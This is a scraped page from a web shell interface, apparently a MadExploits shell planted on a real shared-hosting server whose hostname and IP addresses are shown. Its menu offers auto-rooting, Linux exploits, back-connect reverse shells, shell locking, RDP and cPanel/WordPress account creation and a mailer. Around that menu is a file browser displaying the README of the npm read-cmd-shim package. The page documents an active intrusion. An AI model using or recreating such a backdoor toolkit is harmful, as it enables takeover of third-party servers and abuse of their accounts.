Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 18.119.106.211
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
node_modules /
npm /
node_modules /
read-cmd-shim /
[ HOME SHELL ]
Name
Size
Permission
Action
LICENSE
752
B
-rw-r--r--
README.md
1.12
KB
-rw-r--r--
index.js
1.73
KB
-rw-r--r--
package.json
1.65
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# read-cmd-shim Figure out what a [`cmd-shim`](https://github.com/ForbesLindesay/cmd-shim) is pointing at. This acts as the equivalent of [`fs.readlink`](https://nodejs.org/api/fs.html#fs_fs_readlink_path_callback). ### Usage ``` var readCmdShim = require('read-cmd-shim') readCmdShim('/path/to/shim.cmd', function (er, destination) { … }) var destination = readCmdShim.sync('/path/to/shim.cmd') ``` ### readCmdShim(path, callback) Reads the `cmd-shim` located at `path` and calls back with the _relative_ path that the shim points at. Consider this as roughly the equivalent of `fs.readlink`. This can read both `.cmd` style that are run by the Windows Command Prompt and Powershell, and the kind without any extension that are used by Cygwin. This can return errors that `fs.readFile` returns, except that they'll include a stack trace from where `readCmdShim` was called. Plus it can return a special `ENOTASHIM` exception, when it can't find a cmd-shim in the file referenced by `path`. This should only happen if you pass in a non-command shim. ### readCmdShim.sync(path) Same as above but synchronous. Errors are thrown.
Close